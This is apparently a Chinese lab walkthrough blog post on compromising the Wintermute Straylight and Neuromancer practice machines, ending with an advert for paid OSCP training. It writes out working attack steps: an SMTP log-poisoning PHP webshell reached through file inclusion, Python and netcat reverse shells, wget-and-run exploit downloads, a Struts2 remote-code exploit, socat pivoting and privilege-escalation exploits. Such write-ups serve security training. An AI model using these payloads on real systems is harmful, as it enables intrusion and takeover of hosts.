一、探测靶机IP(进行信息收集)
查看本机ip
ip a
主机发现
nmap -sP 192.168.56.0/24
二、Straylight靶机渗透
nmap -sS -sV -T5 -p- 192.168.56.102 -A
SMTP信息搜集(25/tcp)
smpt-user-enum 是一款用于 枚举SMTP服务有效用户 的工具,通过发送 SMTP 协议的 VRFY 或 EXPN 命令,验证指定用户名是否存在。
用kali自带的字典在/usr/share/wordlists/metasploit/unix_users.txt,kali上有很多字典
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.56.102
-M VRFY
:使用 SMTP 的 VRFY
命令验证用户是否存在(部分服务器可能禁用此命令,可替换为 EXPN
或 RCPT
)。
-U
:用于指定包含待检测用户名的文件。
-t
:用于指定目标 SMTP 服务器的 IP 地址(默认端口一般为 25)。
vim user.txt
awk -F'[: ]+''{print $2}' user.txt
得到用户名
80端口
网页没有什么信息
dirb http://192.168.56.102
dirsearch -u http://192.168.56.102
nikto -h http://192.168.56.102
这个80端口没有什么有用的东西
3000端口
发现一个登录界面
查看网页源码,发现提示,但是访问不了
尝试admin/admin 登录成功
去访问flags.png
下载到kali上strings,zsteg都没有发现什么信息
80端口没有什么东西,现在基本上就是找几本文件上传
这里发现一个路径去访问,这里flows流记录了访问过的路径,每一个
但是这里也没有什么东西
enp0s3 和 enp0s8 没有发现什么,在lo回环接口的记录里发现一个/turing-bolo/的路径
dirsearch -u http://192.168.56.102/turing-bolo/ -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
case
发现三个日志文件
molly.log armitage.log riviera.log
这三个和后面的都是一样的
molly
armitage
riviera
文件包含
都没有发现什么信息,尝试文件包含
先尝试本地包含
http://192.168.56.102/turing-bolo/bolo.php?bolo=../turing-bolo/molly
尝试了很多但是只有只有包含.log文件才能访问到,所以访问/var/log/mail日志
反弹shell(SMTP)
前面我尝试了,想直接上传访问反弹shell,但是不知道为什么后面连/var/log/mail日志都访问不到了
这里重新下了一个机子,靶机ip变为192.168.56.105
http://192.168.56.105/turing-bolo/bolo.php?bolo=../../../log/mail
nc 192.168.56.105 25
HELO ROOT #向服务器标识用户身份
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>"#MAIL FROM:发件人
RCPT TO:ROOT #RCPT TO:收件人
data #开始编辑邮件内容
. #输入点代表编辑结束
http://192.168.56.105/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=ls
可以看到上传成功,尝试反弹shell
http://192.168.56.105/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
提权(Straylight靶机)
find / -perm -4000 -print 2>/dev/null
发现screen-4.5,看看有没有历史漏洞
https://www.exploit-db.com/exploits/41154
下载到kali上
#kali
python -m http.server
#靶机
cd /tmp
wget http://192.168.56.104:8000/41154.sh
chmod 777 41154.sh
./41154.sh
在root目录下发现一个flag和note文档
note文档下有提示
/struts2_2.3.15.1-showcase
python -c "import pty; pty.spawn('/bin/bash');"
三、Neuromancer靶机渗透
查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了
seq 1 255 | xargs -I{} -P 100 -n 1 bash -c 'ping -c 1 -w 1 192.168.20.$1 &>/dev/null && echo "192.168.20.$1"' _ {}
-
seq 1 255
-
生成 1 到 255 的数字序列(用于 IP 地址最后一段) -
| xargs -I{} -P 100 -n 1
-
-I{}
: 定义占位符{}
接收管道输入的数字 -
-P 100
: 启动 100 个并行进程(加速扫描) -
-n 1
: 每次从输入中取 1 个参数传递给命令 -
bash -c '...' _ {}
-
启动新的 bash 子进程执行命令
-
_ {}
: 占位符_
对应脚本中的$0
,{}
对应$1
-
ping -c 1 -w 1 192.168.20.$1 &>/dev/null
-
-c 1
: 发送 1 个 ICMP 包 -
-w 1
: 等待 1 秒超时 -
$1
: 从 xargs 传递的占位符{}
的值(1-255) -
&>/dev/null
: 丢弃所有输出(静默模式) -
&& echo "192.168.20.$1"
-
若 ping 成功(返回状态码 0),则打印存活 IP
使用脚本探测
#!/bin/bash
for ip in $(seq 1 254); do
ping -c 1 192.168.20.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
进行端口扫描
nc -v -z -w2 192.168.20.4 1-65535
-v # --verbose,显示详细输出(连接成功/失败信息)
-z # --zero-I/O,不发送数据,仅进行端口探测(快速扫描模式)
-w2 # --wait=2,设置连接超时时间为 2 秒
1-65535 # 扫描端口范围(从 1 到 65535 的所有端口)
扫描出三个端口
8080
8009
34483
端口重定向
如果我们现在想访问这些端口,就需要linux中socat进行重定向
socat -d TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.20.4:8009 &
socat -d TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.20.4:8080 &
socat -d TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.20.4:34483 &
-
-d
:显示调试信息。 -
TCP4-LISTEN:<port>
:在 IPv4 协议下监听指定端口。 -
reuseaddr
:允许端口复用(避免Address already in use
错误)。 -
fork
:为每个新连接创建子进程(支持并发连接)。 -
TCP4:<目标IP>:<目标端口>
:将流量转发至目标地址的指定端口。
将本地 8009
, 8080
和34483
端口的流量透明转发到 192.168.20.4
的同端口
主机B
位于内网且无法直接暴露到外部,通过 主机A
的端口转发实现间接访问
使用socat做端口转发,访问Straylight本地的端口的流量会通过scocat转发到Neuromancer上
namp -sS-sV -T5 -Pn 192.168.56.105 -p 8009,8080,34483 -A
访问网页
根据上面note文档的提示,访问**/struts2_2.3.15.1-showcase**
发现有一个远程代码执行的漏洞
反弹shell
exp的利用方法
这里同样需要进行一次转发
python -m http.server 4321
nc -nvlp 7777
不要忘了使用python建立一个简单的http服务,nc开启端口监听,这里两个端口同样要进行转发,不然进不去
socat -d TCP4-LISTEN:4321,reuseaddr,fork TCP4:192.168.20.4:4321 &
socat -d TCP4-LISTEN:7777,reuseaddr,fork TCP4:192.168.20.4:7777 &
检查时候设置成功
ps aux | grep socat
根据exp进行利用
python 42324.py http://192.168.56.105:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 192.168.56.104 4444"
这里失败了,看了别的师傅的解释是
这个版本nc不支持该-e选项,并且因为我们使用 来执行 shell 命令java.lang.Runtime,所以 shell 特定的东西(如管道和重定向)可能不起作用;
这里我们将下面的命令写入shell.sh
我这里尝试了4444端口但是不知道为什么失败了就全部换了一个端口,有可能端口冲突了
但是后面才发现,这个玩意的利用方法有问题
注意:这里要改为实际的版本号,也就是struts2_2.3.15.1-showcase,当时没仔细看,搞了好久也不知道哪错了
反向shell的编写
rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 7777 >/tmp/f
exp****利用
python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.104:4321/shell.sh -O /tmp/shell.sh"
python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell.sh"
python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"
这里基本不可能报错,要是报错就看看python建立的http服务的端口有没有重定向,nc开启监听的端口有没有重定向,反向shell的脚本是否真的传到靶机上了,逐步去排错,可以看到我这里是上传成功了,再依次进行检查
执行完之后可以看到反弹成功
内核提权(Neuromancer靶机)
这里没python,建立不了交互式终端
尝试suid提权失败
find / -perm -4000 -print 2>/dev/null
只能试试内核提权了
uname -a
lsb_release -a
searchsploit linux 4.4 Ubuntu 16.04
因为是x86-64位,且为4.4.0-116,先尝试44298.c
先进行编译再传上去,靶机上没有gcc
searchsploit -m 44298
gcc -o exp 44298.c
在靶机上直接下载
wget http://192.168.56.104:4321/exp
chmod +x exp
程序依赖问题:可执行文件 ./exp
在编译时链接了 GLIBC2.34 版本的 C 标准库。
系统库版本低:当前系统的 GLIBC 版本为2.23低于 2.34(比如 Ubuntu 20.04 默认使用 GLIBC 2.31),导致程序无法运行。
这里应该是因为我在kali上进行的编译,我的kali是2025的,所以会出现这种情况,这里的方法是没有问题的
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Wintermute-v1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论